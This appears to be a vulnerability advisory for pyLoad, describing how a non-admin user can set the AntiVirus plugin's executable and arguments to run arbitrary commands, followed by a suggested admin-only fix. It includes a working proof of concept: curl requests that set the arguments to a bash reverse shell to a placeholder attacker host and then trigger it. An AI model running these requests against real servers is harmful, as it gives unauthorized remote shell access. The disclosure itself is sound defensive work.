pyLoad: Improper Neutralization of Special Elements used in an OS Command

ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}

def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...

    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)

def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE

# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user

# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
    "AntiVirus.avfile",
    "AntiVirus.avargs",
    # ... any plugin option that controls executables or paths
}

if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
    if not self.user.is_admin:
        raise PermissionError("Admin only")